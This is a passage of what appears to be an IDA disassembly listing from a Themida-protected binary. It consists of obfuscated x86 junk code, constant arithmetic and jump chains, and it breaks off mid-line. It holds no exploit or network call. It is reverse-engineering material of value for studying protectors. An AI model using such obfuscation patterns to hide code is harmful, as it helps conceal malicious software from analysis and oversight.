Themida_:0056C682j mov esp, [esp] push 4D75h jmp loc_564208 ; --------------------------------------------------------------------------- loc_56DDE1: ; CODE XREF: Themida_:0056682Ej xchg edx, [esp] pop esp mov [esp], ebx push ebp mov ebp, esp jmp loc_5692FC ; --------------------------------------------------------------------------- loc_56DDF0: ; CODE XREF: Themida_:0056F886j pop eax not edi sub edi, 6D887524h add edi, 1DA36A61h push edi pop esi jmp loc_5638C2 ; --------------------------------------------------------------------------- loc_56DE06: ; CODE XREF: Themida_:00562883j push edx push small 6FC6h pop dx shl dx, 6 xor dx, 0EF18h sub si, dx pop edx jmp loc_56B989 ; --------------------------------------------------------------------------- loc_56DE1F: ; CODE XREF: Themida_:0055DD8Ej mov ebp, 45BA8640h sub ebp, ecx pop ecx mov eax, 131023A3h shr eax, 2 xor eax, 727457CBh shl eax, 8 jmp loc_56B151 ; --------------------------------------------------------------------------- loc_56DE3C: ; CODE XREF: Themida_:005727C3j mov ebx, 0 jmp loc_56985A ; --------------------------------------------------------------------------- loc_56DE46: ; CODE XREF: Themida_:00567536j xor ebp, [esp] mov esp, [esp] push ecx push ebx mov bh, dl mov cl, bh jmp loc_55E43D ; --------------------------------------------------------------------------- loc_56DE57: ; CODE XREF: Themida_:00561BE8j add ecx, eax pop eax jmp loc_5654DC ; --------------------------------------------------------------------------- loc_56DE5F: ; CODE XREF: Themida_:0055E42Bj mov ecx, 1BF535ACh push esi mov esi, 31D78D1h inc esi sub esi, 0EBFC6574h add ecx, esi pop esi push edx mov edx, 4DA108D5h and ecx, edx jmp loc_57096A ; --------------------------------------------------------------------------- loc_56DE81: ; CODE XREF: Themida_:0055F931j add eax, 2D984A80h add eax, edx sub eax, 2D984A80h sub esp, 4 mov [esp], ecx mov ecx, 0 add ecx, eax xor dword ptr [ecx], 34A76466h mov ecx, [esp] add esp, 4 pop eax sub dword ptr [edx+38h], 638B7488h push dword ptr [edx+38h] neg dword ptr [esp] pop dword ptr [edx+38h] push 2E74h mov [esp], edi push ecx mov ecx, 29D5BF7h mov edi, 2BD168C8h jmp loc_5634B8 ; --------------------------------------------------------------------------- loc_56DED5: ; CODE XREF: Themida_:00570018j mov edx, 1E4B2F9Fh xor edx, esi xor esi, edx jmp loc_56A4A3 ; --------------------------------------------------------------------------- loc_56DEE3: ; CODE XREF: Themida_:00561789j pop ebx sub al, cl push ecx push ebx mov bh, 0B8h xor bh, 67h sub bh, 0C6h push eax jmp loc_562E28 ; --------------------------------------------------------------------------- loc_56DEF6: ; CODE XREF: Themida_:00561C52j pop edi push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_55DA6C ; --------------------------------------------------------------------------- loc_56DF05: ; CODE XREF: Themida_:0056644Aj add esi, 80CEED9Fh add ebp, 6AA9425Eh add ebp, esi sub ebp, 6AA9425Eh pop esi jmp loc_570AD6 ; --------------------------------------------------------------------------- loc_56DF1F: ; CODE XREF: Themida_:00571B9Dj xor ecx, 304951D2h jmp loc_56947C ; --------------------------------------------------------------------------- loc_56DF2A: ; CODE XREF: Themida_:00570EE6j push edx mov edx, esp add edx, 4 jmp loc_563C21 ; --------------------------------------------------------------------------- loc_56DF38: ; CODE XREF: Themida_:0056BF69j add ah, cl jmp loc_55FCE7 ; --------------------------------------------------------------------------- loc_56DF3F: ; CODE XREF: Themida_:0056DCE4j sub edx, 116E4365h push dword ptr [esp] pop ebx jmp loc_5617D5 ; --------------------------------------------------------------------------- loc_56DF4E: ; CODE XREF: Themida_:005636D5j pop ecx jmp loc_569F08 ; --------------------------------------------------------------------------- loc_56DF54: ; CODE XREF: Themida_:0056FCD9j add esi, 0E93C0D7Ch add ecx, esi pop esi pop ebx push ebx push 5DB3h mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] sub esp, 4 jmp loc_56A5EB ; --------------------------------------------------------------------------- loc_56DF7C: ; CODE XREF: Themida_:0055DD54j push ecx push dword ptr [esp+4] pop ecx jmp loc_56A74B ; --------------------------------------------------------------------------- loc_56DF87: ; CODE XREF: Themida_:0055E36Bj push 0BF7h mov [esp], eax mov ah, ch push ebx mov bl, ah push ecx mov ecx, 0 add ecx, edx mov [ecx], bl jmp loc_561A30 ; --------------------------------------------------------------------------- loc_56DFA3: ; CODE XREF: Themida_:00568094j add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_56BF9D ; --------------------------------------------------------------------------- loc_56DFC0: ; CODE XREF: Themida_:0056995Dj mov esi, 4E5C3699h sub esi, 175E369Fh xor esi, 16F4D593h mov ebp, esi jmp loc_5674F7 ; --------------------------------------------------------------------------- loc_56DFD8: ; CODE XREF: Themida_:0056E39Aj mov [esp], ebx push dword ptr [esp+4] jmp loc_569230 ; --------------------------------------------------------------------------- loc_56DFE4: ; CODE XREF: Themida_:0056AA1Dj push edx push esi mov esi, 395F386Eh mov edx, esi pop esi and eax, edx jmp loc_572125 ; --------------------------------------------------------------------------- loc_56DFF5: ; CODE XREF: Themida_:00567EBCj pop dword ptr [esp] pop esp jmp loc_572227 ; --------------------------------------------------------------------------- loc_56DFFE: ; CODE XREF: Themida_:0055D9A1j inc ebp push edi mov edi, 0F0726FB4h xor ebp, edi pop edi add ecx, ebp mov ebp, [esp] add esp, 4 xchg esi, ecx dec esi push 658Dh mov [esp], ecx push esi pop ecx mov esi, [esp] add esp, 4 push eax mov eax, 37834810h sub ecx, 69EA01F4h add ecx, 1C75041Fh sub ecx, eax sub ecx, 1C75041Fh add ecx, 69EA01F4h jmp loc_562C5A ; --------------------------------------------------------------------------- loc_56E04E: ; CODE XREF: Themida_:005606B5j pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5722F8 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push edi push esp pop edi add edi, 4 push ecx mov ecx, 4 sub edi, 31F56DB5h add edi, ecx add edi, 31F56DB5h jmp loc_569291 ; --------------------------------------------------------------------------- loc_56E08E: ; CODE XREF: Themida_:00567630j add edx, 4E5B7C01h sub edx, 1F5C4E78h add edx, ebx add edx, 1F5C4E78h jmp loc_5690ED ; --------------------------------------------------------------------------- loc_56E0A7: ; CODE XREF: Themida_:0056B3B7j pop edx jmp loc_55DB3A ; --------------------------------------------------------------------------- loc_56E0AD: ; CODE XREF: Themida_:00569D95j push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] add esp, 4 push ebx push ebx mov ebx, esp push esi mov esi, 2F202250h neg esi jmp loc_563053 ; --------------------------------------------------------------------------- loc_56E0CC: ; CODE XREF: Themida_:0055DA53j mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], edx mov dh, 14h push eax mov al, 7Bh mov bl, 52h add bl, al jmp loc_568642 ; --------------------------------------------------------------------------- loc_56E0EA: ; CODE XREF: Themida_:00563C85j or bl, cl pop ecx sub bl, 0A1h push eax mov al, 6Fh xor al, 0F3h or al, 65h xor al, 40h xor al, 60h add al, 30h sub bl, al pop eax mov ch, bl pop ebx push ecx mov ch, 7Dh jmp loc_562705 ; --------------------------------------------------------------------------- loc_56E10B: ; CODE XREF: Themida_:0056D914j push 4 pop edi sub edx, edi jmp loc_562510 ; --------------------------------------------------------------------------- loc_56E118: ; CODE XREF: Themida_:0056CD48j push ebp push esp pop ebp jmp loc_566EA5 ; --------------------------------------------------------------------------- loc_56E120: ; CODE XREF: Themida_:0055EB8Ej dec dl jmp loc_55EFB4 ; --------------------------------------------------------------------------- loc_56E127: ; CODE XREF: Themida_:0056E88Cj mov [esp], esi mov esi, esp jmp loc_56A1E7 ; --------------------------------------------------------------------------- loc_56E131: ; CODE XREF: Themida_:00563145j xor [esp], ebp jmp loc_56F977 ; --------------------------------------------------------------------------- loc_56E139: ; CODE XREF: Themida_:0056D44Bj sub ebx, 5CBD50E6h jmp loc_571BCD ; --------------------------------------------------------------------------- loc_56E144: ; CODE XREF: Themida_:00566F44j mov [esp], ecx mov ecx, esp jmp loc_572500 ; --------------------------------------------------------------------------- loc_56E14E: ; CODE XREF: Themida_:00560DE7j push 716Ah mov [esp], ebx mov ebx, 0 add ebx, ecx mov [ebx], ah pop ebx pop ecx pop ebx pop edx pop eax mov ebx, [esp] add esp, 4 jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56E172: ; CODE XREF: Themida_:005658EAj mov [esp], ebx mov ebx, 4 add ebp, ebx jmp loc_57095B ; --------------------------------------------------------------------------- loc_56E181: ; CODE XREF: Themida_:00564635j push ebp mov ebp, esp jmp loc_56D01D ; --------------------------------------------------------------------------- loc_56E189: ; CODE XREF: Themida_:0056663Dj xor ebx, 5BD958E2h xor ebx, 0F10AF9Eh xor esi, ebx pop ebx jmp loc_565CA0 ; --------------------------------------------------------------------------- loc_56E19D: ; CODE XREF: Themida_:0056311Bj xor esi, [esp] pop esp push esi mov esi, 0A786754h add eax, 1F652268h add eax, esi sub eax, 1F652268h pop esi push edi push edi mov edi, esp jmp loc_562FFA ; --------------------------------------------------------------------------- loc_56E1BD: ; CODE XREF: Themida_:0055F637j pop esi add edx, eax push dword ptr [esp] pop eax jmp loc_5723DE ; --------------------------------------------------------------------------- loc_56E1C9: ; CODE XREF: Themida_:0056F4F3j sub al, 0E4h add al, bl sub esp, 4 jmp loc_5702E9 ; --------------------------------------------------------------------------- loc_56E1D8: ; CODE XREF: Themida_:00566D9Ej xchg ecx, [esp] mov esp, [esp] mov [esp], eax push ebp mov ebp, ebx jmp loc_5617F6 ; --------------------------------------------------------------------------- loc_56E1E9: ; CODE XREF: Themida_:0056AAC0j push 3B0Ch mov [esp], ebx push 193Ch jmp loc_563470 ; --------------------------------------------------------------------------- loc_56E1FB: ; CODE XREF: Themida_:0056346Bj pop ecx sub ebx, esi jmp loc_571E4C ; --------------------------------------------------------------------------- loc_56E203: ; CODE XREF: Themida_:0056CCD9j add esi, ecx pop ecx add edx, esi jmp loc_55EDD6 ; --------------------------------------------------------------------------- loc_56E20D: ; CODE XREF: Themida_:0055F731j sub esi, 54232093h add esi, 264510D8h add esi, edi push ebx push edx mov edx, 79A615CFh mov ebx, edx pop edx xor ebx, 5F566A4h neg ebx shl ebx, 5 shr ebx, 1 jmp loc_55F981 ; --------------------------------------------------------------------------- loc_56E237: ; CODE XREF: Themida_:0055DB14j add bl, al push ecx jmp loc_564DAD ; --------------------------------------------------------------------------- loc_56E23F: ; CODE XREF: Themida_:0055DF3Bj push ecx mov ch, bh mov [edi+eax*4+1], ch pop ecx jmp loc_562B9B ; --------------------------------------------------------------------------- loc_56E24C: ; CODE XREF: Themida_:0056CDA3j dec ebx shr ebx, 6 shl ebx, 5 jmp loc_55FCC0 ; --------------------------------------------------------------------------- loc_56E258: ; CODE XREF: Themida_:0055EA38j add esi, 4 xchg esi, [esp] pop esp push 42BBh mov [esp], eax jmp loc_56BDA8 ; --------------------------------------------------------------------------- loc_56E26F: ; CODE XREF: Themida_:005624B5j pop edi sub edx, ebp jmp loc_56C8BE ; --------------------------------------------------------------------------- loc_56E277: ; CODE XREF: Themida_:0055EA48j ; Themida_:0055FA41j ... push dword ptr [esp] jmp loc_561E47 ; --------------------------------------------------------------------------- loc_56E27F: ; CODE XREF: Themida_:0056B452j shl edx, 3 sub edx, 0A5F37D86h add eax, edx pop edx jmp loc_56A379 ; --------------------------------------------------------------------------- loc_56E290: ; CODE XREF: Themida_:0056DBD2j pop ecx add ecx, 4 push esi push edx mov edx, 2A6C0FFCh sub edx, 2A6C0FF8h mov esi, edx pop edx add ecx, esi push dword ptr [esp] jmp loc_572559 ; --------------------------------------------------------------------------- loc_56E2B1: ; CODE XREF: Themida_:005681C7j pop edx jmp loc_56961F ; --------------------------------------------------------------------------- loc_56E2B7: ; CODE XREF: Themida_:0056C57Fj push eax mov eax, 16B276CBh shr eax, 7 inc eax add eax, 24071B2Fh add eax, 3B97302Dh sub eax, 0B41F40B3h sub ebx, eax mov eax, [esp] add esp, 4 add ebx, edi push dword ptr [ebx] pop eax jmp loc_56844B ; --------------------------------------------------------------------------- loc_56E2E2: ; CODE XREF: Themida_:00571E05j mov esi, 65EF4E01h not esi xor esi, 9A10B1FCh mov edx, esi pop esi sub ebp, 20637878h jmp loc_56CDC6 ; --------------------------------------------------------------------------- loc_56E2FD: ; CODE XREF: Themida_:0056A7F7j xchg ebp, [esp] mov esp, [esp] jmp loc_563FF0 ; --------------------------------------------------------------------------- loc_56E308: ; CODE XREF: Themida_:0056A188j pop ecx push esi jmp loc_564966 ; --------------------------------------------------------------------------- loc_56E30F: ; CODE XREF: Themida_:0056FC91j pop eax push ecx jmp loc_5634E9 ; --------------------------------------------------------------------------- loc_56E316: ; CODE XREF: Themida_:0056E9FDj push dword ptr [esp] mov ecx, [esp] jmp loc_56DB38 ; --------------------------------------------------------------------------- loc_56E321: ; CODE XREF: Themida_:00564620j pop eax add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_5619AC ; --------------------------------------------------------------------------- loc_56E332: ; CODE XREF: Themida_:0055E4EEj pop eax push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] jmp loc_567423 ; --------------------------------------------------------------------------- loc_56E356: ; CODE XREF: Themida_:0056831Aj push esp pop ecx jmp loc_561C2C ; --------------------------------------------------------------------------- loc_56E35D: ; CODE XREF: Themida_:0056AF2Fj xchg edx, [esp] jmp loc_571361 ; --------------------------------------------------------------------------- loc_56E365: ; CODE XREF: Themida_:00569764j or eax, eax jnz loc_5671CA push ebp push 3152h jmp loc_56D6C1 ; --------------------------------------------------------------------------- loc_56E378: ; CODE XREF: Themida_:0056B332j add ebx, eax pop eax add ebx, 356752DFh add ebx, eax sub ebx, 356752DFh sub ebx, 55163F36h mov eax, [esp] add esp, 4 push 5186h jmp loc_56DFD8 ; --------------------------------------------------------------------------- loc_56E39F: ; CODE XREF: Themida_:00567DEBj mov [esp], ebx mov ebx, 6CD34128h add ebx, 0FFFFFFFFh push ecx jmp loc_55F6E7 ; --------------------------------------------------------------------------- loc_56E3B0: ; CODE XREF: Themida_:00568D34j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56E3B5: ; CODE XREF: Themida_:005693F9j mov esi, 4 mov ecx, esi pop esi add edi, ecx pop ecx jmp loc_55FCAD ; --------------------------------------------------------------------------- loc_56E3C5: ; CODE XREF: Themida_:00571B0Bj push esi mov esi, 227575A4h add edx, esi mov esi, [esp] add esp, 4 pop ebx sub edx, 7AF401DFh sub edx, eax add edx, 7AF401DFh push eax mov eax, 475D72BBh push ebx mov ebx, 3B766579h neg ebx not ebx not ebx xor ebx, 0D8366AC7h add eax, ebx pop ebx add edx, eax mov eax, [esp] add esp, 4 jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56E40D: ; CODE XREF: Themida_:005638EFj sub edi, ebx jmp loc_564584 ; --------------------------------------------------------------------------- loc_56E414: ; CODE XREF: Themida_:005655FDj add ecx, 27BD279Ch jmp loc_56F84A ; --------------------------------------------------------------------------- loc_56E41F: ; CODE XREF: Themida_:0056B15Aj mov edx, 56B854F8h sub eax, edx mov edx, [esp] add esp, 4 add eax, ebp jmp loc_572237 ; --------------------------------------------------------------------------- loc_56E436: ; CODE XREF: Themida_:0056F7E1j and ecx, eax mov eax, [esp] add esp, 4 shr ecx, 6 push 4D46h mov [esp], ebx push dword ptr [esp] jmp loc_565DB3 ; --------------------------------------------------------------------------- loc_56E454: ; CODE XREF: Themida_:0056086Dj push edx push ecx jmp loc_56F965 ; --------------------------------------------------------------------------- loc_56E45B: ; CODE XREF: Themida_:0056EB60j shr ebp, 2 sub ebp, 14EEDFABh add edi, ebp pop ebp jmp loc_56C2A9 ; --------------------------------------------------------------------------- loc_56E46C: ; CODE XREF: Themida_:0056EEAFj mov [edi+40h], ebx push dword ptr [esp] mov ebx, [esp] push ebx jmp loc_55F4B6 ; --------------------------------------------------------------------------- loc_56E47B: ; CODE XREF: Themida_:00567CDBj push ebp not dword ptr [esp] mov ebp, [esp] add esp, 4 push edi jmp loc_567ED7 ; --------------------------------------------------------------------------- lodsb xor al, bl push 459h mov [esp], ecx jmp loc_56A2AA ; --------------------------------------------------------------------------- loc_56E49E: ; CODE XREF: Themida_:005600E2j sub ebx, 5C003023h sub ebx, 0FFFFFFFFh add ebx, 0DDCFD726h add edi, ebx jmp loc_56550A ; --------------------------------------------------------------------------- loc_56E4B4: ; CODE XREF: Themida_:0056B482j push ebx mov bl, 0C6h shr bl, 8 jmp loc_55E5D3 ; --------------------------------------------------------------------------- loc_56E4BF: ; CODE XREF: Themida_:0057081Bj mov ebp, [esp] jmp loc_55F73C ; --------------------------------------------------------------------------- loc_56E4C7: ; CODE XREF: Themida_:00560A1Fj push esp pop eax add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_562E9F ; --------------------------------------------------------------------------- loc_56E4E4: ; CODE XREF: Themida_:0056B624j pop ecx jmp loc_57066C ; --------------------------------------------------------------------------- loc_56E4EA: ; CODE XREF: Themida_:0056BCA0j mov edx, 38AF0DEDh and edx, 59B53851h jmp loc_561A25 ; --------------------------------------------------------------------------- loc_56E4FA: ; CODE XREF: Themida_:005707C0j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push eax push 506534EAh pop eax dec eax push esi mov esi, 506534EBh xor eax, esi pop esi push eax add dword ptr [esp], 21AB2B73h mov edx, [esp] add esp, 4 sub edx, 21AB2B73h pop eax push ecx mov ecx, 2B1815CFh jmp loc_55DC71 ; --------------------------------------------------------------------------- loc_56E540: ; CODE XREF: Themida_:0056202Dj inc ecx neg ecx xor ecx, 5F9F2BC6h xor ecx, 7E4662Fh jmp loc_5632FC ; --------------------------------------------------------------------------- loc_56E554: ; CODE XREF: Themida_:0055E109j push eax push edx mov edx, 4 mov eax, edx pop edx jmp loc_56648B ; --------------------------------------------------------------------------- loc_56E563: ; CODE XREF: Themida_:0056FBB8j mov edx, 3D1A4F52h jmp loc_56A9AC ; --------------------------------------------------------------------------- loc_56E56D: ; CODE XREF: Themida_:0056AD67j xor ecx, edi pop edi inc ecx shr ecx, 8 add ecx, 7DF55610h push edx mov edx, 864E12Bh xor ecx, edx mov edx, [esp] add esp, 4 add esi, 57B609E7h add esi, 7BB52DB5h sub esi, 74ED1F07h jmp loc_56FF8C ; --------------------------------------------------------------------------- loc_56E59F: ; CODE XREF: Themida_:00563D37j pop ecx push ebx mov ebx, 165C7F5Ah push eax mov eax, 0E9A380AAh add ebx, eax mov eax, [esp] jmp loc_55E940 ; --------------------------------------------------------------------------- loc_56E5B6: ; CODE XREF: Themida_:00570380j add esp, 4 jmp loc_5690DF ; --------------------------------------------------------------------------- loc_56E5C1: ; CODE XREF: Themida_:0056FC05j add eax, 9DF2C0Bh jmp loc_561470 ; --------------------------------------------------------------------------- loc_56E5CB: ; CODE XREF: Themida_:00570A04j add ebp, eax pop eax jmp loc_56023E ; --------------------------------------------------------------------------- loc_56E5D3: ; CODE XREF: Themida_:00565F48j mov [esp], eax jmp loc_570918 ; --------------------------------------------------------------------------- loc_56E5DB: ; CODE XREF: Themida_:0056187Bj pop dword ptr [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56E5EA: ; CODE XREF: Themida_:00562AE8j push 4 jmp loc_5654F7 ; --------------------------------------------------------------------------- loc_56E5F4: ; CODE XREF: Themida_:005639F6j xor ecx, 34475B7Ah sub ebx, ecx jmp loc_56F838 ; --------------------------------------------------------------------------- loc_56E601: ; CODE XREF: Themida_:0057227Fj xor ebx, [esp] xor [esp], ebx jmp loc_56CA87 ; --------------------------------------------------------------------------- loc_56E60C: ; CODE XREF: Themida_:00563E7Cj sub edi, ebx jmp loc_565344 ; --------------------------------------------------------------------------- loc_56E613: ; CODE XREF: Themida_:0055EBC9j mov [esp], ebp jmp loc_570FD9 ; --------------------------------------------------------------------------- loc_56E61B: ; CODE XREF: Themida_:0057178Bj mov eax, [esp] sub esp, 4 mov [esp], ebp jmp loc_56D7C7 ; --------------------------------------------------------------------------- loc_56E62C: ; CODE XREF: Themida_:0056C597j add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp sub ebp, 4 jmp loc_567707 ; --------------------------------------------------------------------------- loc_56E641: ; CODE XREF: Themida_:00562D51j push esp pop eax jmp loc_568E23 ; --------------------------------------------------------------------------- loc_56E648: ; CODE XREF: Themida_:00562359j xchg edx, [esp] pop esp or eax, eax jz loc_5671CA sub esp, 4 mov [esp], ebx mov ebx, 28h jmp loc_569ED6 ; --------------------------------------------------------------------------- loc_56E667: ; CODE XREF: Themida_:00571EC8j push ebp mov ebp, 7B556DE1h jmp loc_55EF01 ; --------------------------------------------------------------------------- loc_56E672: ; CODE XREF: Themida_:00567F5Aj mov esp, [esp] jmp loc_56270D ; --------------------------------------------------------------------------- loc_56E67A: ; CODE XREF: Themida_:00569714j push dword ptr [esp] pop eax add esp, 4 jmp loc_565602 ; --------------------------------------------------------------------------- loc_56E689: ; CODE XREF: Themida_:0056EB7Aj add ebp, ebx pop ebx add eax, 6BC94C57h sub eax, ebp sub eax, 6BC94C57h pop ebp add eax, 315542Fh add eax, edi sub eax, 315542Fh push 6724h mov [esp], ecx push ebx push 2C9E1D32h push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 push ecx push edx push 43B801D3h pop edx sub edx, 74571CEBh mov ecx, edx pop edx sub ebx, ecx pop ecx mov ecx, ebx mov ebx, [esp] add esp, 4 add eax, ecx jmp loc_56A648 ; --------------------------------------------------------------------------- loc_56E6E8: ; CODE XREF: Themida_:00567B57j shl ebx, 5 jmp loc_5686CA ; --------------------------------------------------------------------------- loc_56E6F0: ; CODE XREF: Themida_:0055E412j and ebx, 5F547D4Bh jmp loc_568C1A ; --------------------------------------------------------------------------- loc_56E6FB: ; CODE XREF: Themida_:00570BD9j sub esi, 0B24AFC58h add ebp, esi push dword ptr [esp] jmp loc_571C04 ; --------------------------------------------------------------------------- loc_56E70B: ; CODE XREF: Themida_:00560334j push ecx pop eax pop ecx jmp loc_5600F9 ; --------------------------------------------------------------------------- loc_56E713: ; CODE XREF: Themida_:005661F5j add ebx, 4 jmp loc_56337E ; --------------------------------------------------------------------------- loc_56E71E: ; CODE XREF: Themida_:0056A77Bj push esi jmp loc_5655E1 ; --------------------------------------------------------------------------- loc_56E724: ; CODE XREF: Themida_:005678DBj pop ebx add eax, 36716A3Fh jmp loc_56240D ; --------------------------------------------------------------------------- loc_56E72F: ; CODE XREF: Themida_:0056BDA3j add eax, 6A605337h jmp loc_57001D ; --------------------------------------------------------------------------- loc_56E739: ; CODE XREF: Themida_:0056C8B1j push 38307351h pop ecx jmp loc_570835 ; --------------------------------------------------------------------------- loc_56E744: ; CODE XREF: Themida_:00566EDDj push edx jmp loc_56BAA6 ; --------------------------------------------------------------------------- loc_56E74A: ; CODE XREF: Themida_:005696E0j shr al, 3 sub al, 65h jmp loc_56636F ; --------------------------------------------------------------------------- loc_56E754: ; CODE XREF: Themida_:0056E93Dj mov ebx, 4AF2AA2h xor ebx, 4AF2AA6h mov edx, ebx jmp loc_56738E ; --------------------------------------------------------------------------- loc_56E766: ; CODE XREF: Themida_:0055FEF8j sub ebx, 0AEB2D32Fh jmp loc_5668C6 ; --------------------------------------------------------------------------- loc_56E771: ; CODE XREF: Themida_:0056D4C5j push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 or ecx, ecx jz loc_56DAA1 push 2BB1h mov [esp], eax jmp loc_56777E ; --------------------------------------------------------------------------- loc_56E796: ; CODE XREF: Themida_:00565C9Bj not edx add edx, 0DAD6E5D6h mov ecx, edx pop edx shr ecx, 7 push ecx not dword ptr [esp] pop ecx sub ecx, 0FFFFFFFFh sub esp, 4 mov [esp], ebx mov ebx, 0FAD65FFh jmp loc_568E85 ; --------------------------------------------------------------------------- loc_56E7BF: ; CODE XREF: Themida_:00563153j add dword ptr [esp], 4 pop edi add edi, 4 sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], ecx push ebp mov ebp, 63A24D10h push esi mov esi, 5DA63A27h shl esi, 8 push edx push eax mov eax, 0F4F69F4h mov edx, 6841CC15h add edx, eax pop eax and esi, edx pop edx push 79C5h jmp loc_5651C5 ; --------------------------------------------------------------------------- lodsb sub al, 63h add al, 14h sub al, bl sub al, 14h push ecx push eax mov ah, 4Eh mov cl, ah pop eax push eax mov al, 3Dh shl al, 4 push ebx push edx mov dl, 0ABh mov bh, dl pop edx add al, bh mov ebx, [esp] add esp, 4 jmp loc_56647C ; --------------------------------------------------------------------------- loc_56E832: ; CODE XREF: Themida_:0056896Bj push 42FEh mov [esp], esp push edx mov edx, 4 add [esp+4], edx pop edx pop eax push ebp mov ebp, 77F93A1Eh shl ebp, 8 not ebp neg ebp and ebp, 0D626286h push ebx mov ebx, 92201FCh sub ebp, ebx pop ebx add eax, ebp pop ebp push esi mov esi, 4 sub eax, esi pop esi xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], esi jmp loc_562FC6 ; --------------------------------------------------------------------------- loc_56E880: ; CODE XREF: Themida_:0056AADEj push dword ptr [esp] push dword ptr [esp] pop esi push 682Ch jmp loc_56E127 ; --------------------------------------------------------------------------- loc_56E891: ; CODE XREF: Themida_:00566E73j pop ebp add ebx, 713906EFh add ecx, ebx push dword ptr [esp] jmp loc_56B402 ; --------------------------------------------------------------------------- loc_56E8A2: ; CODE XREF: Themida_:00571720j xor edi, 4EBEFE66h add ebp, edi jmp loc_5641B7 ; --------------------------------------------------------------------------- loc_56E8AF: ; CODE XREF: Themida_:00566A82j mov [esp], eax mov eax, 0E0137ABh add eax, 33216CEEh neg eax add eax, 148F04B1h xor eax, 71214B1Ch xor eax, 0EBB3E60h xor eax, 0ACF61560h add edi, eax pop eax push 0A03h mov [esp], edi jmp loc_56B663 ; --------------------------------------------------------------------------- loc_56E8E2: ; CODE XREF: Themida_:0056D001j push 16C9h mov [esp], edx sub esp, 4 jmp loc_56FD3D ; --------------------------------------------------------------------------- loc_56E8F5: ; CODE XREF: Themida_:00567F52j and eax, 4E42998h not eax and eax, 3C882385h sub eax, 1ED7F93Eh and ecx, eax pop eax shr ecx, 2 xor ecx, 35AF2CCBh xor esi, ecx pop ecx sub esi, 5FBC2C17h add edx, esi pop esi push ebp mov ebp, 4 sub edx, 728E3D8Ch jmp loc_560789 ; --------------------------------------------------------------------------- loc_56E92F: ; CODE XREF: Themida_:0056BB86j push dword ptr [esp] pop ebx push eax mov eax, esp add eax, 4 push edx push ebx jmp loc_56E754 ; --------------------------------------------------------------------------- loc_56E942: ; CODE XREF: Themida_:005611A3j mov [esp], ebx mov ebx, 0EE555CFh xor ebx, 6A86443Ch jmp loc_56A326 ; --------------------------------------------------------------------------- loc_56E955: ; CODE XREF: Themida_:00567A69j or ecx, 5972373Fh shl ecx, 7 sub ecx, 0D0358D19h shr ecx, 1 shr ecx, 1 neg ecx sub ecx, 0CD6A4CB0h mov eax, ecx pop ecx push ecx push ebx mov ebx, 8E07466h mov ecx, 7273EB04h add ecx, ebx pop ebx shl ecx, 4 xor ecx, 0E671F7Ch neg ecx shr ecx, 7 or ecx, 26E234B5h sub ecx, 0F32B4EB2h push edx push ebx mov ebx, 1A927627h jmp loc_5647C9 ; --------------------------------------------------------------------------- loc_56E9A8: ; CODE XREF: Themida_:00571FB1j sub ebx, 10533B44h add ebx, eax add ebx, 10533B44h push dword ptr [esp] jmp loc_568E90 ; --------------------------------------------------------------------------- loc_56E9BE: ; CODE XREF: Themida_:005706DEj xor bh, 44h xor cl, bh pop ebx jmp loc_567A0D ; --------------------------------------------------------------------------- loc_56E9C9: ; CODE XREF: Themida_:005641E9j dec ah jmp loc_5668BC ; --------------------------------------------------------------------------- loc_56E9D0: ; CODE XREF: Themida_:0056B8BBj mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5681FF ; --------------------------------------------------------------------------- loc_56E9E7: ; CODE XREF: Themida_:005619F6j mov bh, 0Fh sub dl, bh pop ebx push ebx mov bh, 0ABh inc bh sub bh, 4 sub bh, 0CAh xor bh, 78h add dl, bh pop ebx jmp loc_56E316 ; --------------------------------------------------------------------------- loc_56EA02: ; CODE XREF: Themida_:0056FD9Cj or ebx, ebx jnz loc_55EA44 push ebx mov ebx, 20h push 2568h jmp loc_567C80 ; --------------------------------------------------------------------------- loc_56EA1A: ; CODE XREF: Themida_:00562C55j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56EA1F: ; CODE XREF: Themida_:005724FBj and cl, 28h neg cl not cl xor cl, 8Ah mov al, cl pop ecx not al neg al jmp loc_56FAA0 ; --------------------------------------------------------------------------- loc_56EA35: ; CODE XREF: Themida_:00570781j push 162Fh mov [esp], eax mov eax, 4 sub esp, 4 jmp loc_55F8CE ; --------------------------------------------------------------------------- loc_56EA4D: ; CODE XREF: Themida_:0056F9EBj push edi mov edi, 51E70D0Dh mov ebx, 0AE18F2F7h jmp loc_563702 ; --------------------------------------------------------------------------- loc_56EA5D: ; CODE XREF: Themida_:005670EDj push 46E8h mov [esp], esi mov esi, 74B15979h inc esi shl esi, 5 dec esi dec esi shl esi, 1 push edx jmp loc_567127 ; --------------------------------------------------------------------------- loc_56EA78: ; CODE XREF: Themida_:0056EEA0j add ebp, 221004Eh jmp loc_571F68 ; --------------------------------------------------------------------------- loc_56EA83: ; CODE XREF: Themida_:005683CCj shr esi, 7 xor esi, eax xor eax, esi jmp loc_56A178 ; --------------------------------------------------------------------------- loc_56EA8F: ; CODE 